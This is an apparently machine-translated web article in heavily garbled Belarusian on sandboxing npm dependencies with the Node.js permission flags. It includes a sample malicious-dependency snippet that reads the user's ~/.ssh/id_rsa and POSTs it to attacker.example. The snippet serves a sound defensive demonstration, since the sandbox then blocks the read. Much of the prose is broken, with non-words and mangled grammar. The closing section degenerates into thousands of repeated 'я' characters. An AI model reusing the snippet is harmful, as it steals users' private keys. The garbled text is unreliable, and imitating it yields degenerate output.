Галоўная / Артыкулы / Сандбоксаванне падзеў node_modules за дапамою флагаў модэлю праваў Node.js

Сандбоксаванне падзеў node_modules за дапамою флагаў модэлю праваў Node.js

Дазвольце даклэ научыцца, як флаг --permission у Node.js за замовчаннем запярошвае доступ да файлавой системы, сеті і процэсаў, як точна яго надаць, і якія є його меры.

2794 слоў

Кожны раз, калі вы выпланаваеце npm install, вы практыкуеце дзеянне довер'я. Проект з дзесятьма прымымымі залежнасцямі часта мае ад 500 да 1 500 пакетаў у катэгорыі node_modules, і практычна ніхто з іх не чытаўся нікама з вашай команды. Модель праваў Node.js дазволяе запускаць гэты процес у режыме адмовы за замовчаннем, так што пакет, які быў атакаваны, можа доступваць толькі да файлаў, сокетаў і процэсаў, якія вы прымусова разрэшылі. У гэтым кярырантаванні показана, як функцыонуюць перакрытчыкі, як ўвёсці іх без пашкоджэння вашага прыемніка, і якія праслойкі застаюцца нават калі всё налаштована правільна.

Чаму амбіентальнае довер'я ёсць справжнім проблемам

За замовчанням Node.js не робіць разліку межы коду, які напісала ваша команда, і коду, які хтось сторонній выпусціў у реестр. Усё, што завантажваецца ў процес, успадковуе всі прывілеі корыстніка операцыйной системы, які яго запускае. На практыцы гэта значыць, што будзь-якая залежнасць можа:

  • чытаць усё, што можа чытаць той корыстнік, уключаючы файлы .env, прыватныя ключы SSH і крантыцы хмары, такія як ~/.aws/credentials;
  • атрымляць выходныя з’ўязкі і перадаваць гэтыя даны куды-небудзь іншае;
  • стартаваць дзецячыя процесы і выкананыць каманды шэлу;
  • завантажваць натыўныя дадаткі .node, якія ўскладненыя машынны код, які правілы на рэвэле JavaScript не можу контролаваць.

Рэальныя інцыденты выкорыстоўвалі самэ гэта. Апхануты пакет event-stream несаў навантажэнне, нацэленае на бібліятэку для кашэткі Bitcoin, ua-parser-js быў захоплены і перапублікаваны з вярмам, а калькіляванні токенаў распростраńваліся через npm. Ні аднаму з іх не была патрэбна сложная метода апхання; ім проста было трэба работаць у процесе, які ўпоўню паверяў іх. Дастатньа ўзламанага адказвальнага аккаунта на трох паверхнях дрэва. Якща вы хочаце глыбачэй разглядзець, як адбываюцца гэтыя атакі і захопленні з боку реўістара проты яных, адзірніце як працуюць атакі на ланцоўку саплвяння npm.

Модэль дазволаў рашае палову проблемы ў часе выканання. Цэна апцыйная, сандбокс на рывень процеса, які ператварае стандарт: нічога не дазволяецца, пакуль вы гэта не разрашыце.

Што такое модэль разрэшэнняў і які ёё статус

Гэтае раштрыктаванне обмежвае доступ да конкрэтных рысаў пад час выканання програмы. Калі вы увядзеце спецыяльны флаг, процес тырочыць доступ да файлавой системы, сеті, дзецячых процэсаў, рабочых нітак, адгуковых дадаткаў, WASI і FFI, і можа адзначыць кожную з гэтых возможнасцей зноў толькі праз явны флаг дазволу. Афіцыйная дакументацыя Node.js пра разрэшэнняў являецца адным з істочнікаў інфармацыі пра точнае падчыненне гэтага функцыянаму вашай версіі.

Гэты функцыянал быстра вырасў у зреласці:

  • Упершыню ён быў выданы як экспэрыментальны функцыянал у Node.js v20.0.0 у квітні 2023 года.
  • Пачынаючы з версій v23.5.0 і v22.13.0 ён атрымаў статус Stability 2 (стабільны), таму ён больш не ўважаецца экспэрыментам, які трэба хаваць за спецыяльным пераключальнікам.
  • У пасляўшых выданнях правіла сталаўся ўсё строгей. За апূরкам змян 2026 года, няўзгоднае версіі трэбуе явнага разрешэння для API файловай системы, зв’язаных з символьнымі паўзамкамі, перагляду прав на час стварэння сокетаў типу Unix domain, а таксама болей тонкага кантролю над зменнымі сераўыска праз параметр --allow-env. Лепша спрыяць гэтыя аспекты як залежныя ад версіі і пераканацца ў их правільнасці, аднеслеўшыся да дакументацыі конкрэтнага выдання, яке вы викорыстоўваете.
  • Практычны вынік — тепер можна павяржыцца ў гэта як у справжні слой захавання пры атаках на ланцуг постачання, а не проста як у кастрычнік.

    Ментальная модэль: вогневая станова ўнавакол вашага процесу

    Сетевы ўражэннік адлучэнняя прыменяецца да таго, калі пакеты могу праходзіць. Модэль дазвола выконвае тое ж самае для доступу да рэсурсаў унутрь адна процэса. Без яе fs.readFileSync() проста чытае файл. З яе вызов спачатку праходзіць через контрольную точку, якая пераканальваецца, чы рэгулярны рэсурс ўключаны у список дазволеных. Якщо так, нічога не змянюецца. Якщо ні, вызов выклекае памылку і файл так і не адчынаецца.

    Важным деталем є тое, дзе знаходзіцца гэтая контрольная точка. Яна прыменяецца унутрь среды выканання, у шары прыўязкі C++, а не ў JavaScript. Зловучы пакет не можа яе перакануць, заменіўшы fs.readFileSync або загорнуўшы модуль, таму што рашэнне прыменяецца на адны раз лепш, чым можа дасягнуць звычны JavaScript.

    Следаванне за адным адражаным вызовам усередзінь среды выканання

    Ёсць калі зробіць гэта менш абстрактным, ступіньце, што выдзейваецца, калі якісь код у процэсе прабуе чытаць /etc/passwd:

    1. Ваш код або будзь-які модулі, запускаецца ў тым жа процесе, выклікаюць fs.readFileSync('/etc/passwd').
    2. Этот выклік прабіваеся да внутрэшняй прыўязкі fs у Node, якая насправды ведае пераказы з аператывной системай.
    3. Перш чым выйдзе наступны I/O-операцыя, прыўязка запытае модэль дазволаў, чы роўнасць процесу права fs.read для гэтага конкретнага шляху. Гэта тая ж самая запытка, якую можна задаць сабе за дапамогою process.permission.has('fs.read', path).
    4. Калі шлях разрэшаны, чытанне адбываецца як і зазвычай. Код, які працуе правільна, не бачыць ніякых разлікаў у працэсе.
    5. Калі шлях не разрэшаны, Node выклікае адказку, форма якой є стабільной і лёгкай да аналізу.

    Выкліканая адказка мае паказчык code, назву нехватнае права і ресурс, які быў запрошаны:

    Error: Access to this API has been restricted
        at node:internal/main/run_main_module:23:47 {
      code: 'ERR_ACCESS_DENIED',
      permission: 'FileSystemRead',
      resource: '/etc/passwd'
    }
    

    Пакалькі ERR_ACCESS_DENIED ўжо є стабільным кодам, таму яго можна пераследзіць і свядома на ўсё гэта рэагаваць, а бібліятекі, які ведаюць прывілеі, можуць зрабіць тое ж самае, утрамбаваючы аплікацыю цалую.

    Увёмкненне сэндбокса празпершыню

    Ёнклюванне модэлю выражаецца ў наяўнасці аднаго флага пры файле-вхідзе:

    node --permission index.js
    

    Можна спакою чакаць, што гэта зараз жа не будзе работаць, нават для порожніх скрыптов:

    $ node --permission index.js
    Error: Access to this API has been restricted
        at node:internal/main/run_main_module:23:47 {
      code: 'ERR_ACCESS_DENIED',
      permission: 'FileSystemRead',
      resource: '/home/user/index.js'
    }
    

    Гэта застаўляе багох у збентежэнне, але гэта цяперашняя практыка: чытанне index.js сама по сабе ёсць чытаннем з файловай системы, і чытанне таксама забараняецца, як і ўсё інша. Не існуе вбудованага адыякту для сэрцаўскога коду, і гэта є корыстным першым урокам пра тое, насколькі строгі ёсць гэты модэль.

    Рашэнняя — разрышчыць чытанне з катэгорыі проекту:

    node --permission --allow-fs-read=. index.js
    

    Файл з ініцыяцыёю тепер завантажваецца, але першы require() у пакете не будзе работаць, таму што процес разыявлення і завантажэння модуляў таксама чытае данні з дыскана. Звычны наступны крок — явна разрэшыць доступ да папкі node_modules:

    node --permission --allow-fs-read=. --allow-fs-read=./node_modules index.js
    

    Строга кажучы, ./node_modules вялікі час знаходзіцца ўнутрь ., таму другі флаг у простай структуры є зайвым. Його отдзельныя указанні стаюць значымымі, калі пазней вы звярнётэсе толькі да папкі на кшталт ./src, або калі вашы залежнасці будуць размешчаныя ў іншай папке в монорепозітарыі.

    Пакуль вы ўсё яшчэ вивучаеце, якія падметы чытае ваша прыкладна програма, вы можете разрэшыць всі чытанні і залишыць усе іншы функцыяны заблокаванымі:

    node --permission --allow-fs-read=* index.js
    

    Уявіце знак * як допаможныя колесы. Ён прыемлівы пад час разработкі або для служб, дзе чытанне файлаў не ёсць критычным элементам, але ён дазволяе будзь-якім залежнасцям чытаць вашы секрэты, таму забезпечыце ўжошчыя настройкі пры выдаванні чаго-небудзь, што керуе аутентыфікацыйнымі данымі.

    Кожная західная можлівасць і флаг, які яе адкрывае

    Чытанне з файлавой системы — толькі адна з такіх захоў. Кожны клас рэсурса адпавядае своему флагу:

    • Чытанне з файлавой системы: --allow-fs-read=<path>.
    • Запіс у файлавой системы: --allow-fs-write=<path>.
    • Доступ да сеті: --allow-net.
    • Дзецявыя процесы: --allow-child-process.
    • Рабочыя ніткі: --allow-worker.
    • Натыўныя дадаткі: --allow-addons.
    • Інтэрфейс системы WebAssembly: --allow-wasi.
  • Інтэрфейс зарубежных функцый: --allow-ffi.
  • Дзеянне калькі з іх трэба разумець пры ўжыцці:

    • Два флагі файловай системы прыймаюць шлях і можу быть павтараныя, напрыклад --allow-fs-read=./data --allow-fs-read=./config.
    • --allow-net не прыймае аргументаў. Цэта ўсего адна настройка, якая карыць як для вхіднага, так і для выходнага сецесіяўнага звязку, укладаючы ў сябе необработаныя сокеты, http, https, fetch і сокеты домэна Unix.
    • --allow-child-process таксама вплывае на спосаб прынесення абмежэнняў да дзецячых процэсаў. Процэс, створаны за дапамой child_process.fork(), аўтаматычна отрымае вашы флагі дазволу, тады калі child_process.spawn() перадае іх чераз зменную сераўнай супакой NODE_OPTIONS. У обох случаях дзецячы процэс застаецца ўнутрь піскулярной супакоўкі, а не выходзіць з яе.
    • --allow-addons выклікае наяўнае адзяйчанне. Натыўныя дадаткі — это скомпіляваныя бібліятэкі на C або C++, якія завантажваюцца за дапамой dlopen, і пасля завантажэння яны выконваюцца за межамі двыракетнага механізма на JavaScript без дальнейшых перакрыцэнняў дазволу. Наданне гэтага флага коду, якому вы не абалочыцеся на 100%, дае таму коду працэсавую моц, падобную да той, яку ён меў бы без жадной піскулярной супакоўкі.

    Практычны прыклад: аплойнер CSV і «заражаная» залежнасць

    Разглянем невяленькі, але рэалістычныя скрыпты. Яны чытаюць файл CSV з дыска, парсуюць яго за дапамою сторонньего пакета csv-parse і аплоцююць записы да API за дапамою axios, ўсё таксама сторонньего пакета:

    // process-csv.js
    const fs = require('fs');
    const { parse } = require('csv-parse/sync'); // third-party dependency
    const axios = require('axios');              // third-party dependency
    
    const raw = fs.readFileSync('./data/input.csv', 'utf-8');
    const records = parse(raw, { columns: true });
    
    axios
      .post('https://api.example.com/ingest', records)
      .then(() => console.log('Uploaded', records.length, 'records'));
    

    Якщо запусціць проста команда node process-csv.js, усё будзе працаваць. Тое ж сама можа адбыцца, якщо у мінорныя версіі csv-parse або якога-небудзь з його залежнасцей будзе падсылацца схованы пэйлоад. Ніжчэй прыведзены фрагмент, які імітуець выгляд такога пэйлоаду: ён чытае прыватны ключ SSH пользователя і аплоцюе яго на хост, кантроліруемы зловершальнікам.

    // hypothetical malicious code inside a compromised transitive dependency
    const fs = require('fs');
    const os = require('os');
    const https = require('https');
    
    const secret = fs.readFileSync(os.homedir() + '/.ssh/id_rsa', 'utf-8');
    https.request('https://attacker.example/collect', { method: 'POST' })
         .end(secret);
    

    Без сандбокса гэты код працуе бесшумна, і ключ зникае раней, чым хтось гэта заўважыць. Тепер запускаймо той самы скрыпт, але з толькі тыми правамі, якія ёму практычна неабходны: чытанне з проекта та його залежнасцей, а таксама доступ у інтэрнет.

    node --permission \
         --allow-fs-read=. \
         --allow-fs-read=./node_modules \
         --allow-net \
         process-csv.js
    

    Насправды задача застаўляецца: скрыпта чытае ./data/input.csv, завантажвае яго модулі і прабывае з’явіцца да API. Аднак паданы даны не можаць быть прынятыя як толькі прабываюць выкарыстоўваць ключ:

    Error: Access to this API has been restricted
        at ReadFileHandle.rethrow (node:internal/fs/read/context:53:9) {
      code: 'ERR_ACCESS_DENIED',
      permission: 'FileSystemRead',
      resource: '/home/user/.ssh/id_rsa'
    }
    

    os.homedir() паказывае месца за межамі . і ./node_modules, таму гэты шлях не ў списку дазволеных, і процес выкачвання ніколі не даганяе стадію стварэння з’язку.

    Зверніце ўвагу на тое, што тут не дапамогла. Паколькі легітымны скрыпт патрабуе --allow-net, носік дадзеных усё рав мог адправляць запиты да сеті. Ключ захаваўся завдзяк вузкаму дыапазону чытання. Тая ж логіка паведамляе вас пра распашчытаную памылку: якщо вы залишаеце файл .env у корні проекту і разрашаеце чытанне з ., кожная залежнасць таксама можа прачытаць гэты файл. Зберагайце секретныя даны за межамі дыапазонав, якія можна прачытаць, або вводзіце іх через механізм, які не выкарыстоўвае доступ да файловай системы з боку процеса.

    Закрыць стварэнне процесаў

    Багатыя рэальныя носікі дадзеных зовсама прыменшуюць чытанне файлоў і проста запускаюць шэл, каб завантажыць і запрацаваць другі етап. Калі --permission ўвімкнуты, а --allow-child-process — няўвімкнуты, спроба зазнае неудачы ўсё раней, чым запускаецца які-небудзь процес:

    node:internal/child_process:388
        const err = this._handle.spawn(options);
        ^
    Error: Access to this API has been restricted
        at ChildProcess.spawn (node:internal/child_process:388:28)
        at node:internal/main/run_main_module:17:47 {
      code: 'ERR_ACCESS_DENIED',
      permission: 'ChildProcess'
    }
    

    Большая частка коду аплікацый, такой як трансформацыя дадзейнаў, вызовы внутрашняіх служб аб выкананне шаблонаў, не мае прычын ствараць процесы. Якщо ніч гэтага ў вашай дрэва залежнасцяў не патрабуе законным чынам child_process, адключэнне гэтага флага пазбавляе ап шмат класаў атак без жадных зусіль.

    Запыт пра разрэшэнне з усероўні вашага коду

    Калі модэль ў актыўным стане, Node адкрывае process.permission, якая дазволяе коду пераканацца ў наявнасці патрэбных прав перад тым, як прабаваць іх выкарыстаць, замест таго каб паслужыцца выкліканай асупэкцыяй. Вы можете пераканацца ў наявнасці прав у загальным сэнсе аб можаце сконфігураваць запыт на конкрэтны пат.

    if (process.permission) {
      console.log(process.permission.has('fs.write'));                        // true / false
      console.log(process.permission.has('fs.write', '/app/uploads'));        // scoped check
      console.log(process.permission.has('fs.read'));                        // true / false
      console.log(process.permission.has('net'));                             // true / false
    }
    

    Функцыя if (process.permission) мае важнае значэнне, таму што об’ект існуе толькі тады, калі процес быў запускаецца з параметрам --permission. Для автараў бібліятак гэты API ёсць особаю ценным: пакет з неабяжнай тэлеметрыяю можа пераглядаць process.permission.has('net') і тыха адключыць гэю функцыя ў процесе, які працуе ў песочнай коробцы, замест таго каб зупініць самае гаспадарское прыкладанне.

    Уключэнне песочнай коробкі ў працэс запуску проекту

    Ручны ввод дужо длігог списку прапускаў є спрычынай адхылэнняў, а песочная коробка, якую хтось забыў увядзіць, нічога не заходзіць. Найпростейшы спосаб прыняць — падаць гэтыя прапускі ў скрыпт start у файле package.json:

    {
      "scripts": {
        "start": "node --permission --allow-fs-read=. --allow-fs-read=./node_modules --allow-net dist/server.js"
      }
    }
    

    Ёнколі хочаце застосаваць тую ж політыку да всіх скрыптаў npm, уклучаючы інструменты, якія запускаюцца чераз npx, можна задаць флагі аднойчы чераз NODE_OPTIONS. Памятаце, што сам npm ёсць програма на Node.js, таму яна таксама працуе пад гэтымі обмежэннямі; гэта адна з прычын, чаму ў гэтым прыкладзе викорыстоўваецца шырокі флаг --allow-fs-read=*.

    export NODE_OPTIONS="--permission --allow-fs-read=* --allow-net"
    npm start
    

    Для аднаго вызыву npx пасылайце опцыі безпосередна:

    # enabling it for a one-off npx execution
    npx --node-options="--permission --allow-fs-read=$(npm prefix -g)" some-cli-tool
    

    Гэты пасляпэльны прыклад зноў паказвае, што нічога не можна спадзявацца без падтверджэння. Ёнколі Node трэба знаходзіць і запускаць інструмент, яму патрэбны правы на чытанне да таго месца, дзе фактычна знаходзіцца пакет – будзь то глобальны каталог node_modules, які паказвае npm prefix -g, чы то кэш npx. Нават командзе, якую вы намераваліся запусціць, таксама патрэбны правы на доступ.

    Абяцкі пункты, якія трэба разумець пры выкарыстоўванні

    Модэль разрэшэнняў ёсць моцным элементам, але спрыяваць яй як цэльвым рашэнню є рызыкована.

    Разрэшэнняя прыменяюцца да всього процесу, а не да окремых пакетаў

    Гэта найважнейшы абяцкі пункт для тых, хто спадзяецца контролаваць конкрэтныя залежнасці. Sandbox стварае межу межы процесу Node.js і аператывной системы. Ён не можа застосаваць такія правілы, як "left-pad не мае доступу да сеті, а axios — мае." Усе модулі ў процесе дзеляюцца аднам сэтам разрэшэнняў, таму якщо вы даеце --allow-net вашаму HTTP-кліенту, гэта таксама даецца кожнам іншым пакетам. Модэль падвышае стандарты для всього процесу; яна не ізолюе пакеты адзін ад другога. Якщо вам сапраўды трэба ізоляція па кожнам компаненту, вам трэба раздзеліць работу на адныя процесы з рознымі флагамі.

    Аддансы-натыўныя элементы абходзяць усё пасля загрузкі

    Пасля таго, як задаецца параметр --allow-addons і загружаецца натыўны модуль, яго скомпіляваны код запускаецца без дальнейшых контроліваў. Сандбокс не мае можлівасці пераканацца ў тым, як выглядае машынны код.

    Код для контролю таксама можа мець бягы

    Этыя перакладчыкі ўтвараюцца з звычайнага коду часа выконання і можу быць некоректнымі. Уразлівасць, апісаная у 2026 годзе пад ідэнтыфікатарам CVE-2026-58043, паўплывала на логіку падбору шляхоў: спісы дозволеных файлавых системах храняцца ў дрэве радыкс, і шляхі, якія проста мелі спакойны прыметнік з дозволеным шляхам, моглі некоректна атрымаць права на доступ. Гэта дазволяла чытанне або запіс за межамі назначанага дыячэння. Апісаныя версіі з патчамі — 26.5.1, 24.18.1 і 22.23.2 для адпаведных лінейкаў выданняў; для автарытэтнага спісу пераканайцеся ў релізах з аптымізацыяй безпекі Node.js. Галоўны вывод — не трэба ухіляцца ад гэтай функцыяўкі, а трэба сталяйна патчаваць свой код часа выконання, адтак як некоректныя настройкі ў уразлівай версіі таксама залишаюць слабыя месца.

    Гэта обмежвае збыткі; гэта не запярошчае інсталляцыю

    Сэндбокс абмежоўвае радыус выбуху, калі запускаецца зловмесны код. Ён нічога не робіць, каб запобiec установке такога коду. Продавайце вжываць npm audit, інсталюйце пакеты за дапамою npm ci на аднойчы зберажанай файле закрэплення, а не на падставе размяклых дыяпазонаў версій, пераглядзіце новыя транзітныя залежнасці пры апдэйты, а таксама рассмотрзіце можлівасць викорыстання служб для сканавання залежнасцей, такіх як Socket або Snyk, разам з мерамі кантролю пад час выконання.

    Спіс пераконтрацоў пры впрыеме

    • Пад час разработкі пачніце з параметра --permission --allow-fs-read=*, ўжо каб магчыма было бачыць, якія іншыя функцыі патрэбны вашам прыкладку, не бораючыся з точнымі маршрутамі.
    • Перад выпускам сузьце параметры --allow-fs-read і --allow-fs-write да тых каталогаў, якія прыкладка насправды викорыстоўвае, такіх як папкі з дадзеннямі, канфігурацыяй і node_modules. Ніколі не разрашайце доступ да вашай домашней папкі чы рэштыце /.
  • Дазвольце флагі спроможнасці, такія як сетаваркі, дзеціны процесы, рабочыя працэўнікі, дадаткі, WASI чы FFI, толькі калі існуе рэальная патрэба. Кожны прыгначаны флаг закрывае атакавальны шлях.
  • Патрэбу параметра --allow-addons трэба спрыяваць як сігнал апавярожнення і пераглядаць залежнасці, якія яго выкарыстоўваюць.
  • Хавайце секрэты за межамі будзь-якага каталогу, які процес можа чытаць.
  • Кодавайце флагі ў вашым скрыптэ начынання або у параметре NODE_OPTIONS, каб ніхто не забыў іх.
  • Вжывайце апошню, патрэбная версію Node.js з усімі патчамі, таму што слой адбавлення прымець захоўнічныя парадкі, як і будзь-яя іншая частка среды выканання.
  • Галоўныя выводы

    Атакі на ланцюгах саплайву ўспыхваюць таму, што Node.js давае такі ж правыя кожнам пакету ў лесе, якія давае вашам сэрвысу. Модель праваў не знімае гэтага давер'я, адколі код все равно выкананы ў вашам процэсе, але яна ператварае необмежаны радыус атакі на обмежаны, які вяліцца з пазначак, якія вы выбралі. Яе эфектывнасць залежыць ад таго, насколькі строгіяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяяя